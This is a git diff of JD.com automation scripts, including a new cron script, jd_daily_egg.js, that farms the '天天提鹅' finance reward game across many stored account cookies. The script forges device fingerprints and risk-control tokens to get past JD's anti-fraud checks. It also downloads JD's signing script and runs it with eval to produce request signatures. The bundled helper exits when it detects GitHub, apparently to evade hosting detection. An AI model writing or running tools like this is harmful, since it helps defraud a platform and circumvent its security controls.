{"sku": v['skuId'], "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": item['taskId']}; + await executeNewInteractionTask(body); + await $.wait(100); + } + } else { + $.shopInfoList = $.shopInfoList.filter(vo => !!vo && vo['browseStatus'] === 0); + for (let v of $.shopInfoList) { + console.log(`开始做:【${item['taskTitle']}】任务,需等待${v['browseTime']}秒`); + let body = { + "shopId": v['shopId'], + "interactionId": $.interactionId, + "taskPoolId": $.taskPoolId, + "taskType": item['taskId'], + "action": 1 + }; + await executeNewInteractionTask(body); + await $.wait(v['browseTime'] * 1000); + body = { + "shopId": v['shopId'], + "interactionId": $.interactionId, + "taskPoolId": $.taskPoolId, + "taskType": item['taskId'] + }; + await executeNewInteractionTask(body); + } + } + } +} +function executeNewInteractionTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('executeNewInteractionTask', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 小魔方 executeNewInteractionTask API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['result'] && data['result']['code'] === 0) { + const { result } = data; + if (result['toast'] && result['lotteryNum']) console.log(`${result['toast']},当前抽奖次数:${result['lotteryNum']}\n`); + } else { + console.log(`小魔方 executeNewInteractionTask 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getNewLotteryInfo() { + return new Promise(resolve => { + const body = {"interactionId": $.interactionId}; + const options = superShakePostUrl('getNewLotteryInfo', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} 小魔方 getNewLotteryInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['result'] && data['result']['code'] === 0) { + const { result } = data; + if (result['isLottery'] === 0) { + console.log(`京东小魔方抽奖:${result['toast']}`); + } else if (result['isLottery'] === 1) { + console.log(`京东小魔方抽奖:${result['lotteryInfo']['quantity']}京豆`); + // allMessage += `【京东小魔方】获得:${result['lotteryInfo']['quantity']}京豆\n`; + $.moFangBeanNum += parseInt(result['lotteryInfo']['quantity']); + } else { + console.log(`京东小魔方抽奖:${JSON.stringify(data)}`); + } + } else { + console.log(`小魔方 getNewLotteryInfo 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=======================京东会员签到======================== +async function shakeSign() { + await pg_channel_page_data(); + if ($.token && $.currSignCursor && $.signStatus === -1) { + const body = {"floorToken": $.token, "dataSourceCode": "signIn", "argMap": { "currSignCursor": $.currSignCursor }}; + const signRes = await pg_interact_interface_invoke(body); + console.log(`京东会员第${$.currSignCursor}天签到结果;${JSON.stringify(signRes)}`) + let beanNum = 0; + if (signRes.success && signRes['data']) { + console.log(`京东会员第${$.currSignCursor}天签到成功。获得${signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum']}京豆\n`) + beanNum = signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum'] + } + if (beanNum) { + message += `\n京东会员签到:获得${beanNum}京豆\n`; + } + } else { + console.log(`京东会员第${$.currSignCursor}天已签到`) + } +} +function pg_channel_page_data() { + const body = { + "paramData":{"token":"dd2fb032-9fa3-493b-8cd0-0d57cd51812d"} + } + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=pg_channel_page_data&body=${escape(JSON.stringify(body))}`, + headers: { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "api.m.jd.com", + "Cookie": cookie, + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + if (data.success) { + const SIGN_ACT_INFO = data['data']['floorInfoList'].filter(vo => !!vo && vo['code'] === 'SIGN_ACT_INFO')[0] + $.token = SIGN_ACT_INFO['token']; + if (SIGN_ACT_INFO['floorData']) { + $.currSignCursor = SIGN_ACT_INFO['floorData']['signActInfo']['currSignCursor']; + $.signStatus = SIGN_ACT_INFO['floorData']['signActInfo']['signActCycles'].filter(item => !!item && item['signCursor'] === $.currSignCursor)[0]['signStatus']; + } + // console.log($.token, $.currSignCursor, $.signStatus) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} +function pg_interact_interface_invoke(body) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?appid=sharkBean&functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Cookie": cookie, + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "0", + "Host": "api.m.jd.com", + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function taskUrl(function_id, body = {}, appId = 'vip_h5') { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=${appId}&body=${escape(JSON.stringify(body))}&_=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://vip.m.jd.com/newPage/reward/123dd/slideContent?page=focus', + } + } +} +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +function superShakePostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&appid=content_ecology&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.3.0&uuid=8888888&t=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_daily_egg.js b/jd_daily_egg.js new file mode 100644 index 0000000000..5f96e94e27 --- /dev/null +++ b/jd_daily_egg.js @@ -0,0 +1,307 @@ +/** + * 京东金融-天天提鹅 + * cron: 0 * * * * + */ + +const $ = new Env('天天提鹅'); +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const dailyEggUrl = "https://active.jd.com/forever/btgoose/?channelLv=yxjh&jrcontainer=h5&jrlogin=true" +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const { JSDOM } = $.isNode() ? require('jsdom') : ''; +const { window } = new JSDOM(``, { url: dailyEggUrl, runScripts: "outside-only", pretentToBeVisual: true, resources: "usable" }) +const Faker = require('./utils/sign_graphics_validate.js') +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + window.eval(await downloadUrl(`https://storage.360buyimg.com/rama/common/btgoose/aar.min.js`)) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.stopNext = false + console.log(`\n***********开始【京东账号${$.index}】${$.UserName}********\n`); + const fakerBody = Faker.getBody(dailyEggUrl) + $.fp = fakerBody.fp + $.eid = await getClientData(fakerBody) + $.token = (await downloadUrl("https://gia.jd.com/m.html")).match(/var\s*?jd_risk_token_id\s*?=\s*["`'](\S*?)["`'];?/)?.[1] || "" + await jdDailyEgg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdDailyEgg() { + await toDailyHome() + if ($.stopNext) return + await toWithdraw() + await toGoldExchange(); +} + +function toGoldExchange() { + return new Promise(async resolve => { + const body = getBody() + $.get(taskUrl('toGoldExchange', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log(`兑换金币:${data.resultData.data.cnumber}`); + console.log(`当前总金币:${data.resultData.data.goldTotal}`); + } else if (data.resultData.code !== '0000') { + console.log(`兑换金币失败:${data.resultData.msg}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function toWithdraw() { + return new Promise(async resolve => { + const body = getBody() + $.get(taskUrl('toWithdraw', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '0000') { + console.log(`收取鹅蛋:${data.resultData.data.eggTotal}个成功`); + console.log(`当前总鹅蛋数量:${data.resultData.data.userLevelDto.userHaveEggNum}`); + } else if (data.resultData.code !== '0000') { + console.log(`收取鹅蛋失败:${data.resultData.msg}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function toDailyHome() { + return new Promise(async resolve => { + const body = getBody(false) + $.get(taskUrl('toDailyHome', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultData.code !== "0000") { + $.stopNext = true + console.log($.name+":"+data.resultData.msg) + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getBody(withSign = true) { + const riskDeviceInfo = JSON.stringify({ + eid: $.eid, + fp: $.fp, + token: $.token + }) + const signData = { + channelLv: "yxjh", + environment: "jrApp", + riskDeviceInfo, + shareUuid: "uuid", + } + if (!withSign) { + return { + ...signData, + timeSign: Math.random(), + } + } + $.aar = new window.AAR() + const nonce = $.aar.nonce() + const signature = $.aar.sign(JSON.stringify(signData), nonce) + return { + ...signData, + timeSign: Math.random(), + nonce, + signature, + } +} + +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/${function_id}?reqData=${JSON.stringify(body)}`, + headers: { + 'Accept' : `application/json`, + 'Origin' : `https://active.jd.com`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Cookie' : cookie, + 'Content-Type' : `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host' : `ms.jr.jd.com`, + 'Connection' : `keep-alive`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer' : dailyEggUrl, + 'Accept-Language' : `zh-cn` + } + } +} +function getClientData(fakerBody) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${fakerBody.a}`, + body: `d=${fakerBody.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${JSON.stringify(arguments)}: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]).eid; + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || ""); + } + }) + }) +} +function downloadUrl(url) { + return new Promise(resolve => { + const options = { + url, "timeout": 10000, followRedirect: false, headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + }; + $.get(options, async (err, resp, data) => { + let res = "" + try { + if (err) { + console.log(`⚠️网络请求失败`); + } else { + res = data; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const 